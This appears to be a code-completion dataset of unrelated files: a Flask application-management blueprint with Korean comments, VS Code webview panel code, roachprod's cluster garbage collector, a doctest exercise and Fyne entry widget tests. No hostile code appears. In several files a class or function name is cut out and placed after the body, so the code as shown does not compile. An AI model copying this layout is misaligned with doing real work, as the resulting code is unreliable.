from flask import Blueprint from flask import request from flask import session from flask import redirect from flask import url_for from flask import render_template from app import db from app.models import User from app.models import Token from app.models import Application from app.models import ApplicationSecret from app.check import is_two_factor_enabled from app.check import is_login from app.check import url_verifier from app.custom_error import TwoFactorRequired bp = Blueprint( name="detail", import_name="detail", url_prefix="/detail" ) @bp.get("/<string:app_idx>") def show(app_idx: str): # 조회해야하는 어플리케이션 검색하기 app = Application.query.filter_by( idx=app_idx, delete=False ).first() # 검색결과가 없다면 if app is None: # 내가 로그인한 어플리케이션 페이지로 이동하기 return redirect(url_for("dashboard.application.show_all")) # 어플리케이션의 주인 정보 불러오기 owner = User.query.filter_by( idx=app.owner_idx ).first() # 만약 정보를 조회하고 있는 유저가 로그인한 상태라면 if is_login(): # 유저가 이 어플리케이션에 로그인했는지 확인하기 token = Token.query.filter_by( application_idx=app.idx, target_idx=session['user']['idx'] ).first() else: token = None # 어플리케이션의 주인 아이디와 로그인한 유저의 아이디가 일치한가? is_owner = app.owner_idx == session.get("user", {}).get("idx", None) # 만약 로그인한 유저가 이 어플리케이션의 주인이라면 if is_owner: # 어플리케이션 시크릿을 데이터베이스에서 가져옴 secret = ApplicationSecret.query.filter_by( target_idx=app.idx ).first() # 방금 시크릿 키를 만들고 이 페이지로 왔다면 세션에 저장된 시크릿 키 값 가져오기 key = session.get("secret:key", None) # 가져온 값이 있다면 if key is not None: # 세션에 저장된 시크릿 키 값 삭제하기 del session['secret:key'] else: secret = None key = None return render_template( "dashboard/application/detail/show.html", app=app, token=token, owner=owner, is_owner=is_owner, secret=secret, key=key ) @bp.get("/<string:app_idx>/edit") def edit(app_idx: str): # 로그인 상태가 아니라면 로그인 화면으로 이동하기 if not is_login(): return redirect(url_for("dashboard.login.form")) # 2단계 인증이 비활성화 상태라면 if not is_two_factor_enabled(): # 2단계 인증이 필요하다는 오류 리턴하기 raise TwoFactorRequired # 수정 해야하는 어플리케이션의 아이디를 가지고 주인이 로그인한 유저인 어플리케이션 검색하기 app = Application.query.filter_by( idx=app_idx, owner_idx=session['user']['idx'], delete=False ).first() # 검색결과가 없다면 if app is None: # 내가 만든 어플리케이션 페이지로 이동하기 return redirect(url_for("dashboard.application.my")) return render_template( "dashboard/application/detail/edit.html", app=app ) @bp.post("/<string:app_idx>/edit") def edit_post(app_idx: str): # 로그인 상태가 아니라면 로그인 화면으로 이동하기 if not is_login(): return redirect(url_for("dashboard.login.form")) # 2단계 인증이 비활성화 상태라면 if not is_two_factor_enabled(): # 2단계 인증이 필요하다는 오류 리턴하기 raise TwoFactorRequired # 수정 해야하는 어플리케이션의 아이디를 가지고 주인이 로그인한 유저인 어플리케이션 검색하기 app = Application.query.filter_by( idx=app_idx, owner_idx=session['user']['idx'], delete=False ).first() if app is None: return redirect(url_for("dashboard.application.my")) # 유저한테 입력받은 이름으로 어플리케이션의 이름 수정하기 app.name = request.form.get("name", app.name)[:20] # 유저한테 입력받은 홈페이지 주소가 올바른지 검증하기 app.homepage = url_verifier( url=request.form.get("homepage", "http://localhost:8082"), fallback=app.homepage )[:32] # 유저한테 입력받은 콜백 링크가 올바른지 검증하기 app.callback = url_verifier( url=request.form.get("callback", "http://localhost:8082/login/callback"), fallback=app.callback )[:500] # 변경사항 저장하기 db.session.commit() return redirect(url_for("dashboard.application.detail.show", app_idx=app.idx)) @bp.get("/<string:app_idx>/delete") def delete(app_idx: str): # 로그인 상태가 아니라면 로그인 화면으로 이동하기 if not is_login(): return redirect(url_for("dashboard.login.form")) # 2단계 인증이 비활성화 상태라면 if not is_two_factor_enabled(): # 2단계 인증이 필요하다는 오류 리턴하기 raise TwoFactorRequired # 삭제 해야하는 어플리케이션의 아이디를 가지고 주인이 로그인한 유저인 어플리케이션 검색하기 app = Application.query.filter_by( idx=app_idx, owner_idx=session['user']['idx'], delete=False ).first() # 검색결과가 없다면 if app is None: # 내가 만든 어플리케이션 페이지로 이동하기 return redirect(url_for("dashboard.application.my")) # 어플리케이션은 삭제된 상태임 app.delete = True # 이 어플리케이션의 시크릿 키 삭제하기 ApplicationSecret.query.filter_by( target_idx=app_idx ).delete() # 변경사항 데이터베이스에 저장하기 db.session.commit() return redirect(url_for("dashboard.application.my"))
mainThreadWebviewPanels.ts
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ import { onUnexpectedError } from 'vs/base/common/errors'; import { Disposable, DisposableStore, dispose, IDisposable } from 'vs/base/common/lifecycle'; import { URI, UriComponents } from 'vs/base/common/uri'; import { ITelemetryService } from 'vs/platform/telemetry/common/telemetry'; import { MainThreadWebviews, reviveWebviewContentOptions, reviveWebviewExtension } from 'vs/workbench/api/browser/mainThreadWebviews'; import * as extHostProtocol from 'vs/workbench/api/common/extHost.protocol'; import { EditorGroupColumn, editorGroupToViewColumn, IEditorInput, viewColumnToEditorGroup } from 'vs/workbench/common/editor'; import { DiffEditorInput } from 'vs/workbench/common/editor/diffEditorInput'; import { WebviewOptions } from 'vs/workbench/contrib/webview/browser/webview'; import { WebviewInput } from 'vs/workbench/contrib/webviewPanel/browser/webviewEditorInput'; import { WebviewIcons } from 'vs/workbench/contrib/webviewPanel/browser/webviewIconManager'; import { ICreateWebViewShowOptions, IWebviewWorkbenchService } from 'vs/workbench/contrib/webviewPanel/browser/webviewWorkbenchService'; import { IEditorGroup, IEditorGroupsService } from 'vs/workbench/services/editor/common/editorGroupsService'; import { IEditorService } from 'vs/workbench/services/editor/common/editorService'; import { IExtensionService } from 'vs/workbench/services/extensions/common/extensions'; /** * Bi-directional map between webview handles and inputs. */ class WebviewInputStore { private readonly _handlesToInputs = new Map<string, WebviewInput>(); private readonly _inputsToHandles = new Map<WebviewInput, string>(); public add(handle: string, input: WebviewInput): void { this._handlesToInputs.set(handle, input); this._inputsToHandles.set(input, handle); } public getHandleForInput(input: WebviewInput): string | undefined { return this._inputsToHandles.get(input); } public getInputForHandle(handle: string): WebviewInput | undefined { return this._handlesToInputs.get(handle); } public delete(handle: string): void { const input = this.getInputForHandle(handle); this._handlesToInputs.delete(handle); if (input) { this._inputsToHandles.delete(input); } } public get size(): number { return this._handlesToInputs.size; } [Symbol.iterator](): Iterator<WebviewInput> { return this._handlesToInputs.values(); } } class
{ public constructor( public readonly prefix: string, ) { } public fromExternal(viewType: string): string { return this.prefix + viewType; } public toExternal(viewType: string): string | undefined { return viewType.startsWith(this.prefix) ? viewType.substr(this.prefix.length) : undefined; } } export class MainThreadWebviewPanels extends Disposable implements extHostProtocol.MainThreadWebviewPanelsShape { private readonly webviewPanelViewType = new WebviewViewTypeTransformer('mainThreadWebview-'); private readonly _proxy: extHostProtocol.ExtHostWebviewPanelsShape; private readonly _webviewInputs = new WebviewInputStore(); private readonly _editorProviders = new Map<string, IDisposable>(); private readonly _webviewFromDiffEditorHandles = new Set<string>(); private readonly _revivers = new Map<string, IDisposable>(); constructor( context: extHostProtocol.IExtHostContext, private readonly _mainThreadWebviews: MainThreadWebviews, @IExtensionService extensionService: IExtensionService, @IEditorGroupsService private readonly _editorGroupService: IEditorGroupsService, @IEditorService private readonly _editorService: IEditorService, @ITelemetryService private readonly _telemetryService: ITelemetryService, @IWebviewWorkbenchService private readonly _webviewWorkbenchService: IWebviewWorkbenchService, ) { super(); this._proxy = context.getProxy(extHostProtocol.ExtHostContext.ExtHostWebviewPanels); this._register(_editorService.onDidActiveEditorChange(() => { const activeInput = this._editorService.activeEditor; if (activeInput instanceof DiffEditorInput && activeInput.primary instanceof WebviewInput && activeInput.secondary instanceof WebviewInput) { this.registerWebviewFromDiffEditorListeners(activeInput); } this.updateWebviewViewStates(activeInput); })); this._register(_editorService.onDidVisibleEditorsChange(() => { this.updateWebviewViewStates(this._editorService.activeEditor); })); // This reviver's only job is to activate extensions. // This should trigger the real reviver to be registered from the extension host side. this._register(_webviewWorkbenchService.registerResolver({ canResolve: (webview: WebviewInput) => { const viewType = this.webviewPanelViewType.toExternal(webview.viewType); if (typeof viewType === 'string') { extensionService.activateByEvent(`onWebviewPanel:${viewType}`); } return false; }, resolveWebview: () => { throw new Error('not implemented'); } })); } dispose() { super.dispose(); dispose(this._editorProviders.values()); this._editorProviders.clear(); dispose(this._revivers.values()); this._revivers.clear(); } public get webviewInputs(): Iterable<WebviewInput> { return this._webviewInputs; } public addWebviewInput(handle: extHostProtocol.WebviewHandle, input: WebviewInput, options: { serializeBuffersForPostMessage: boolean }): void { this._webviewInputs.add(handle, input); this._mainThreadWebviews.addWebview(handle, input.webview, options); input.webview.onDidDispose(() => { this._proxy.$onDidDisposeWebviewPanel(handle).finally(() => { this._webviewInputs.delete(handle); }); }); } public $createWebviewPanel( extensionData: extHostProtocol.WebviewExtensionDescription, handle: extHostProtocol.WebviewHandle, viewType: string, initData: { title: string; webviewOptions: extHostProtocol.IWebviewOptions; panelOptions: extHostProtocol.IWebviewPanelOptions; serializeBuffersForPostMessage: boolean; }, showOptions: { viewColumn?: EditorGroupColumn, preserveFocus?: boolean; }, ): void { const mainThreadShowOptions: ICreateWebViewShowOptions = Object.create(null); if (showOptions) { mainThreadShowOptions.preserveFocus = !!showOptions.preserveFocus; mainThreadShowOptions.group = viewColumnToEditorGroup(this._editorGroupService, showOptions.viewColumn); } const extension = reviveWebviewExtension(extensionData); const webview = this._webviewWorkbenchService.createWebview(handle, this.webviewPanelViewType.fromExternal(viewType), initData.title, mainThreadShowOptions, reviveWebviewOptions(initData.panelOptions), reviveWebviewContentOptions(initData.webviewOptions), extension); this.addWebviewInput(handle, webview, { serializeBuffersForPostMessage: initData.serializeBuffersForPostMessage }); /* __GDPR__ "webviews:createWebviewPanel" : { "extensionId" : { "classification": "SystemMetaData", "purpose": "FeatureInsight" } } */ this._telemetryService.publicLog('webviews:createWebviewPanel', { extensionId: extension.id.value }); } public $disposeWebview(handle: extHostProtocol.WebviewHandle): void { const webview = this.getWebviewInput(handle); webview.dispose(); } public $setTitle(handle: extHostProtocol.WebviewHandle, value: string): void { const webview = this.getWebviewInput(handle); webview.setName(value); } public $setIconPath(handle: extHostProtocol.WebviewHandle, value: { light: UriComponents, dark: UriComponents; } | undefined): void { const webview = this.getWebviewInput(handle); webview.iconPath = reviveWebviewIcon(value); } public $reveal(handle: extHostProtocol.WebviewHandle, showOptions: extHostProtocol.WebviewPanelShowOptions): void { const webview = this.getWebviewInput(handle); if (webview.isDisposed()) { return; } const targetGroup = this._editorGroupService.getGroup(viewColumnToEditorGroup(this._editorGroupService, showOptions.viewColumn)) || this._editorGroupService.getGroup(webview.group || 0); if (targetGroup) { this._webviewWorkbenchService.revealWebview(webview, targetGroup, !!showOptions.preserveFocus); } } public $registerSerializer(viewType: string, options: { serializeBuffersForPostMessage: boolean }): void { if (this._revivers.has(viewType)) { throw new Error(`Reviver for ${viewType} already registered`); } this._revivers.set(viewType, this._webviewWorkbenchService.registerResolver({ canResolve: (webviewInput) => { return webviewInput.viewType === this.webviewPanelViewType.fromExternal(viewType); }, resolveWebview: async (webviewInput): Promise<void> => { const viewType = this.webviewPanelViewType.toExternal(webviewInput.viewType); if (!viewType) { webviewInput.webview.html = this._mainThreadWebviews.getWebviewResolvedFailedContent(webviewInput.viewType); return; } const handle = webviewInput.id; this.addWebviewInput(handle, webviewInput, options); let state = undefined; if (webviewInput.webview.state) { try { state = JSON.parse(webviewInput.webview.state); } catch (e) { console.error('Could not load webview state', e, webviewInput.webview.state); } } try { await this._proxy.$deserializeWebviewPanel(handle, viewType, { title: webviewInput.getTitle(), state, panelOptions: webviewInput.webview.options, webviewOptions: webviewInput.webview.contentOptions, }, editorGroupToViewColumn(this._editorGroupService, webviewInput.group || 0)); } catch (error) { onUnexpectedError(error); webviewInput.webview.html = this._mainThreadWebviews.getWebviewResolvedFailedContent(viewType); } } })); } public $unregisterSerializer(viewType: string): void { const reviver = this._revivers.get(viewType); if (!reviver) { throw new Error(`No reviver for ${viewType} registered`); } reviver.dispose(); this._revivers.delete(viewType); } private registerWebviewFromDiffEditorListeners(diffEditorInput: DiffEditorInput): void { const primary = diffEditorInput.primary as WebviewInput; const secondary = diffEditorInput.secondary as WebviewInput; if (this._webviewFromDiffEditorHandles.has(primary.id) || this._webviewFromDiffEditorHandles.has(secondary.id)) { return; } this._webviewFromDiffEditorHandles.add(primary.id); this._webviewFromDiffEditorHandles.add(secondary.id); const disposables = new DisposableStore(); disposables.add(primary.webview.onDidFocus(() => this.updateWebviewViewStates(primary))); disposables.add(secondary.webview.onDidFocus(() => this.updateWebviewViewStates(secondary))); disposables.add(diffEditorInput.onWillDispose(() => { this._webviewFromDiffEditorHandles.delete(primary.id); this._webviewFromDiffEditorHandles.delete(secondary.id); dispose(disposables); })); } private updateWebviewViewStates(activeEditorInput: IEditorInput | undefined) { if (!this._webviewInputs.size) { return; } const viewStates: extHostProtocol.WebviewPanelViewStateData = {}; const updateViewStatesForInput = (group: IEditorGroup, topLevelInput: IEditorInput, editorInput: IEditorInput) => { if (!(editorInput instanceof WebviewInput)) { return; } editorInput.updateGroup(group.id); const handle = this._webviewInputs.getHandleForInput(editorInput); if (handle) { viewStates[handle] = { visible: topLevelInput === group.activeEditor, active: editorInput === activeEditorInput, position: editorGroupToViewColumn(this._editorGroupService, group.id), }; } }; for (const group of this._editorGroupService.groups) { for (const input of group.editors) { if (input instanceof DiffEditorInput) { updateViewStatesForInput(group, input, input.primary); updateViewStatesForInput(group, input, input.secondary); } else { updateViewStatesForInput(group, input, input); } } } if (Object.keys(viewStates).length) { this._proxy.$onDidChangeWebviewPanelViewStates(viewStates); } } private getWebviewInput(handle: extHostProtocol.WebviewHandle): WebviewInput { const webview = this.tryGetWebviewInput(handle); if (!webview) { throw new Error(`Unknown webview handle:${handle}`); } return webview; } private tryGetWebviewInput(handle: extHostProtocol.WebviewHandle): WebviewInput | undefined { return this._webviewInputs.getInputForHandle(handle); } } function reviveWebviewIcon( value: { light: UriComponents, dark: UriComponents; } | undefined ): WebviewIcons | undefined { return value ? { light: URI.revive(value.light), dark: URI.revive(value.dark) } : undefined; } function reviveWebviewOptions(panelOptions: extHostProtocol.IWebviewPanelOptions): WebviewOptions { return { enableFindWidget: panelOptions.enableFindWidget, retainContextWhenHidden: panelOptions.retainContextWhenHidden, }; }
WebviewViewTypeTransformer
gc.go
// Copyright 2018 The Cockroach Authors. // // Use of this software is governed by the Business Source License included // in the file licenses/BSL.txt and at www.mariadb.com/bsl11. // // Change Date: 2022-10-01 // // On the date above, in accordance with the Business Source License, use // of this software will be governed by the Apache License, Version 2.0, // included in the file licenses/APL.txt and at // https://www.apache.org/licenses/LICENSE-2.0 package cloud import ( "encoding/base64" "fmt" "hash/fnv" "io/ioutil" "log" "os" "path/filepath" "sort" "strings" "text/tabwriter" "time" "github.com/cockroachdb/cockroach/pkg/cmd/roachprod/config" "github.com/cockroachdb/cockroach/pkg/cmd/roachprod/vm" "github.com/cockroachdb/cockroach/pkg/util/timeutil" "github.com/nlopes/slack" ) type status struct { good []*Cluster warn []*Cluster destroy []*Cluster } func (s *status) add(c *Cluster, now time.Time) { exp := c.ExpiresAt() if exp.After(now) { if exp.Before(now.Add(2 * time.Hour)) { s.warn = append(s.warn, c) } else { s.good = append(s.good, c) } } else { s.destroy = append(s.destroy, c) } } // messageHash computes a base64-encoded hash value to show whether // or not two status values would result in a duplicate // notification to a user. func (s *status) notificationHash() string { // Use stdlib hash function, since we don't need any crypto guarantees hash := fnv.New32a() for i, list := range [][]*Cluster{s.good, s.warn, s.destroy} { _, _ = hash.Write([]byte{byte(i)}) var data []string for _, c := range list { // Deduplicate by cluster name and expiration time data = append(data, fmt.Sprintf("%s %s", c.Name, c.ExpiresAt())) } // Ensure results are stable sort.Strings(data) for _, d := range data { _, _ = hash.Write([]byte(d)) } } bytes := hash.Sum(nil) return base64.StdEncoding.EncodeToString(bytes) } func makeSlackClient() *slack.Client { if config.SlackToken == "" { return nil } client := slack.New(config.SlackToken) // client.SetDebug(true) return client } func findChannel(client *slack.Client, name string) (string, error) { if client != nil { channels, err := client.GetChannels(true) if err != nil { return "", err } for _, channel := range channels { if channel.Name == name { return channel.ID, nil } } } return "", fmt.Errorf("not found") } func findUserChannel(client *slack.Client, email string) (string, error) { if client != nil { // TODO(peter): GetUserByEmail doesn't seem to work. Why? users, err := client.GetUsers() if err != nil { return "", err } for _, user := range users { if user.Profile.Email == email { _, _, channelID, err := client.OpenIMChannel(user.ID) if err != nil { return "", err } return channelID, nil } } } return "", fmt.Errorf("not found") } func postStatus(client *slack.Client, channel string, dryrun bool, s *status, badVMs vm.List) { if dryrun { tw := tabwriter.NewWriter(os.Stdout, 0, 8, 2, ' ', 0) for _, c := range s.good { fmt.Fprintf(tw, "good:\t%s\t%s\t(%s)\n", c.Name, c.GCAt().Format(time.Stamp), c.LifetimeRemaining().Round(time.Second)) } for _, c := range s.warn { fmt.Fprintf(tw, "warn:\t%s\t%s\t(%s)\n", c.Name, c.GCAt().Format(time.Stamp), c.LifetimeRemaining().Round(time.Second)) } for _, c := range s.destroy { fmt.Fprintf(tw, "destroy:\t%s\t%s\t(%s)\n", c.Name, c.GCAt().Format(time.Stamp), c.LifetimeRemaining().Round(time.Second)) } _ = tw.Flush() } if client == nil || channel == "" { return } // Debounce messages, unless we have badVMs since that indicates // a problem that needs manual intervention if len(badVMs) == 0 { send, err := shouldSend(channel, s) if err != nil { log.Printf("unable to deduplicate notification: %s", err) } if !send { return } } makeStatusFields := func(clusters []*Cluster) []slack.AttachmentField { var names []string var expirations []string for _, c := range clusters { names = append(names, c.Name) expirations = append(expirations, fmt.Sprintf("<!date^%[1]d^{date_short_pretty} {time}|%[2]s>", c.GCAt().Unix(), c.LifetimeRemaining().Round(time.Second))) } return []slack.AttachmentField{ { Title: "name", Value: strings.Join(names, "\n"), Short: true, }, { Title: "expiration", Value: strings.Join(expirations, "\n"), Short: true, }, } } params := slack.PostMessageParameters{ Username: "roachprod", } fallback := fmt.Sprintf("clusters: %d live, %d expired, %d destroyed", len(s.good), len(s.warn), len(s.destroy)) if len(s.good) > 0 { params.Attachments = append(params.Attachments, slack.Attachment{ Color: "good", Title: "Live Clusters", Fallback: fallback, Fields: makeStatusFields(s.good), }) } if len(s.warn) > 0 { params.Attachments = append(params.Attachments, slack.Attachment{ Color: "warning", Title: "Expiring Clusters", Fallback: fallback, Fields: makeStatusFields(s.warn), }) } if len(s.destroy) > 0 { params.Attachments = append(params.Attachments, slack.Attachment{ Color: "danger", Title: "Destroyed Clusters", Fallback: fallback, Fields: makeStatusFields(s.destroy), }) } if len(badVMs) > 0 { var names []string for _, vm := range badVMs { names = append(names, vm.Name) } sort.Strings(names) params.Attachments = append(params.Attachments, slack.Attachment{ Color: "danger", Title: "Bad VMs", Text: strings.Join(names, "\n"), }) } _, _, err := client.PostMessage(channel, "", params) if err != nil { log.Println(err) } } func
(client *slack.Client, channel string, err error) { log.Println(err) if client == nil || channel == "" { return } params := slack.PostMessageParameters{ Username: "roachprod", Markdown: true, EscapeText: false, } _, _, err = client.PostMessage(channel, fmt.Sprintf("`%s`", err), params) if err != nil { log.Println(err) } } // shouldSend determines whether or not the given status was previously // sent to the channel. The error returned by this function is // advisory; the boolean value is always a reasonable behavior. func shouldSend(channel string, status *status) (bool, error) { hashDir := os.ExpandEnv(filepath.Join("${HOME}", ".roachprod", "slack")) if err := os.MkdirAll(hashDir, 0755); err != nil { return true, err } hashPath := os.ExpandEnv(filepath.Join(hashDir, "notification-"+channel)) fileBytes, err := ioutil.ReadFile(hashPath) if err != nil && !os.IsNotExist(err) { return true, err } oldHash := string(fileBytes) newHash := status.notificationHash() if newHash == oldHash { return false, nil } return true, ioutil.WriteFile(hashPath, []byte(newHash), 0644) } // GCClusters checks all cluster to see if they should be deleted. It only // fails on failure to perform cloud actions. All others actions (load/save // file, email) do not abort. func GCClusters(cloud *Cloud, dryrun bool) error { now := timeutil.Now() var names []string for name := range cloud.Clusters { if name != config.Local { names = append(names, name) } } sort.Strings(names) var s status users := make(map[string]*status) for _, name := range names { c := cloud.Clusters[name] u := users[c.User] if u == nil { u = &status{} users[c.User] = u } s.add(c, now) u.add(c, now) } // Compile list of "bad vms" and destroy them. var badVMs vm.List for _, vm := range cloud.BadInstances { // We only delete "bad vms" if they were created more than 1h ago. if now.Sub(vm.CreatedAt) >= time.Hour { badVMs = append(badVMs, vm) } } // Send out notification to #roachprod-status. client := makeSlackClient() channel, _ := findChannel(client, "roachprod-status") postStatus(client, channel, dryrun, &s, badVMs) // Send out user notifications if any of the user's clusters are expired or // will be destroyed. for user, status := range users { if len(status.warn) > 0 || len(status.destroy) > 0 { userChannel, err := findUserChannel(client, user+config.EmailDomain) if err == nil { postStatus(client, userChannel, dryrun, status, nil) } } } if !dryrun { if len(badVMs) > 0 { // Destroy bad VMs. err := vm.FanOut(badVMs, func(p vm.Provider, vms vm.List) error { return p.Delete(vms) }) if err != nil { postError(client, channel, err) } } // Destroy expired clusters. for _, c := range s.destroy { if err := DestroyCluster(c); err != nil { postError(client, channel, err) } } } return nil }
postError
user.ts
export class
{ _id?: string; username: string; }
User
double_letters.py
""" Problem: The function 'doubler' takes a word as input. It should create and print a string, where each character in the string is doubled, for example: "test" -> "tteesstt" Tests: >>> doubler("test") tteesstt >>> doubler("original") oorriiggiinnaall >>> doubler("hihihi") hhiihhiihhii """ import doctest def run_tests(): doctest.testmod(verbose=True) def
(word): print(''.join([char + char for char in word])) if __name__ == "__main__": run_tests()
doubler
entry_test.go
package widget_test import ( "image/color" "testing" "time" "fyne.io/fyne/v2" "fyne.io/fyne/v2/canvas" "fyne.io/fyne/v2/data/binding" "fyne.io/fyne/v2/driver/desktop" "fyne.io/fyne/v2/test" "fyne.io/fyne/v2/theme" "fyne.io/fyne/v2/widget" "github.com/stretchr/testify/assert" ) func TestEntry_Binding(t *testing.T) { entry := widget.NewEntry() entry.SetText("Init") assert.Equal(t, "Init", entry.Text) str := binding.NewString() entry.Bind(str) waitForBinding() assert.Equal(t, "", entry.Text) err := str.Set("Updated") assert.Nil(t, err) waitForBinding() assert.Equal(t, "Updated", entry.Text) entry.SetText("Typed") v, err := str.Get() assert.Nil(t, err) assert.Equal(t, "Typed", v) entry.Unbind() waitForBinding() assert.Equal(t, "Typed", entry.Text) } func TestEntry_CursorColumn(t *testing.T) { entry := widget.NewEntry() entry.SetText("") assert.Equal(t, 0, entry.CursorColumn) // only 0 columns, do nothing right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) assert.Equal(t, 0, entry.CursorColumn) // 1, this should increment entry.SetText("a") entry.TypedKey(right) assert.Equal(t, 1, entry.CursorColumn) left := &fyne.KeyEvent{Name: fyne.KeyLeft} entry.TypedKey(left) assert.Equal(t, 0, entry.CursorColumn) // don't go beyond left entry.TypedKey(left) assert.Equal(t, 0, entry.CursorColumn) } func TestEntry_CursorColumn_Ends(t *testing.T) { entry := widget.NewEntry() entry.SetText("Hello") assert.Equal(t, 0, entry.CursorColumn) // down should go to end for last line down := &fyne.KeyEvent{Name: fyne.KeyDown} entry.TypedKey(down) assert.Equal(t, 5, entry.CursorColumn) assert.Equal(t, 0, entry.CursorRow) // up should go to start for first line up := &fyne.KeyEvent{Name: fyne.KeyUp} entry.TypedKey(up) assert.Equal(t, 0, entry.CursorColumn) assert.Equal(t, 0, entry.CursorRow) } func TestEntry_CursorColumn_Jump(t *testing.T) { entry := widget.NewMultiLineEntry() entry.SetText("a\nbc") // go to end of text right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) entry.TypedKey(right) entry.TypedKey(right) entry.TypedKey(right) assert.Equal(t, 1, entry.CursorRow) assert.Equal(t, 2, entry.CursorColumn) // go up, to a shorter line up := &fyne.KeyEvent{Name: fyne.KeyUp} entry.TypedKey(up) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) } func TestEntry_CursorColumn_Wrap(t *testing.T) { entry := widget.NewMultiLineEntry() entry.SetText("a\nb") assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) // go to end of line right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) // wrap to new line entry.TypedKey(right) assert.Equal(t, 1, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) // and back left := &fyne.KeyEvent{Name: fyne.KeyLeft} entry.TypedKey(left) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) } func TestEntry_CursorColumn_Wrap2(t *testing.T) { entry := widget.NewMultiLineEntry() entry.Wrapping = fyne.TextWrapWord entry.Resize(fyne.NewSize(72, 64)) entry.SetText("1234") entry.CursorColumn = 3 test.Type(entry, "a") test.Type(entry, "b") test.Type(entry, "c") assert.Equal(t, 0, entry.CursorColumn) assert.Equal(t, 1, entry.CursorRow) w := test.NewWindow(entry) w.Resize(fyne.NewSize(70, 70)) test.AssertImageMatches(t, "entry/wrap_multi_line_cursor.png", w.Canvas().Capture()) } func TestEntry_CursorPasswordRevealer(t *testing.T) { pr := widget.NewPasswordEntry().ActionItem.(desktop.Cursorable) assert.Equal(t, desktop.DefaultCursor, pr.Cursor()) } func TestEntry_CursorRow(t *testing.T) { entry := widget.NewMultiLineEntry() entry.SetText("test") assert.Equal(t, 0, entry.CursorRow) // only 1 line, do nothing down := &fyne.KeyEvent{Name: fyne.KeyDown} entry.TypedKey(down) assert.Equal(t, 0, entry.CursorRow) // 2 lines, this should increment entry.SetText("test\nrows") entry.TypedKey(down) assert.Equal(t, 1, entry.CursorRow) up := &fyne.KeyEvent{Name: fyne.KeyUp} entry.TypedKey(up) assert.Equal(t, 0, entry.CursorRow) // don't go beyond top entry.TypedKey(up) assert.Equal(t, 0, entry.CursorRow) } func TestEntry_Disableable(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() assert.False(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_enabled_empty.xml", c) entry.Disable() assert.True(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_disabled_empty.xml", c) entry.Enable() assert.False(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_enabled_empty.xml", c) entry.SetPlaceHolder("Type!") assert.False(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_enabled_placeholder.xml", c) entry.Disable() assert.True(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_disabled_placeholder.xml", c) entry.Enable() assert.False(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_enabled_placeholder.xml", c) entry.SetText("Hello") assert.False(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_enabled_custom_value.xml", c) entry.Disable() assert.True(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_disabled_custom_value.xml", c) entry.Enable() assert.False(t, entry.Disabled()) test.AssertRendersToMarkup(t, "entry/disableable_enabled_custom_value.xml", c) } func TestEntry_Disabled_TextSelection(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) entry.SetText("Testing") entry.Disable() c := window.Canvas() assert.True(t, entry.Disabled()) test.DoubleTap(entry) test.AssertImageMatches(t, "entry/disabled_text_selected.png", c.Capture()) entry.FocusLost() test.AssertImageMatches(t, "entry/disabled_text_unselected.png", c.Capture()) } func TestEntry_EmptySelection(t *testing.T) { entry := widget.NewEntry() entry.SetText("text") // trying to select at the edge typeKeys(entry, keyShiftLeftDown, fyne.KeyLeft, keyShiftLeftUp) assert.Equal(t, "", entry.SelectedText()) typeKeys(entry, fyne.KeyRight) assert.Equal(t, 1, entry.CursorColumn) // stop selecting at the edge when nothing is selected typeKeys(entry, fyne.KeyLeft, keyShiftLeftDown, fyne.KeyRight, fyne.KeyLeft, keyShiftLeftUp) assert.Equal(t, "", entry.SelectedText()) assert.Equal(t, 0, entry.CursorColumn) // check that the selection has been removed typeKeys(entry, fyne.KeyRight, keyShiftLeftDown, fyne.KeyRight, fyne.KeyLeft, keyShiftLeftUp) assert.Equal(t, "", entry.SelectedText()) assert.Equal(t, 1, entry.CursorColumn) } func TestEntry_Focus(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() entry.FocusGained() test.AssertRendersToMarkup(t, "entry/focus_gained.xml", c) entry.FocusLost() test.AssertRendersToMarkup(t, "entry/focus_lost.xml", c) window.Canvas().Focus(entry) test.AssertRendersToMarkup(t, "entry/focus_gained.xml", c) } func TestEntry_FocusWithPopUp(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() test.TapSecondaryAt(entry, fyne.NewPos(1, 1)) test.AssertRendersToMarkup(t, "entry/focus_with_popup_initial.xml", c) test.TapCanvas(c, fyne.NewPos(20, 20)) test.AssertRendersToMarkup(t, "entry/focus_with_popup_entry_selected.xml", c) test.TapSecondaryAt(entry, fyne.NewPos(1, 1)) test.AssertRendersToMarkup(t, "entry/focus_with_popup_initial.xml", c) test.TapCanvas(c, fyne.NewPos(5, 5)) test.AssertRendersToMarkup(t, "entry/focus_with_popup_dismissed.xml", c) } func TestEntry_HidePopUpOnEntry(t *testing.T) { entry := widget.NewEntry() tapPos := fyne.NewPos(1, 1) c := fyne.CurrentApp().Driver().CanvasForObject(entry) assert.Nil(t, c.Overlays().Top()) test.TapSecondaryAt(entry, tapPos) assert.NotNil(t, c.Overlays().Top()) test.Type(entry, "KJGFD") assert.Nil(t, c.Overlays().Top()) assert.Equal(t, "KJGFD", entry.Text) } func TestEntry_MinSize(t *testing.T) { entry := widget.NewEntry() min := entry.MinSize() entry.SetPlaceHolder("") 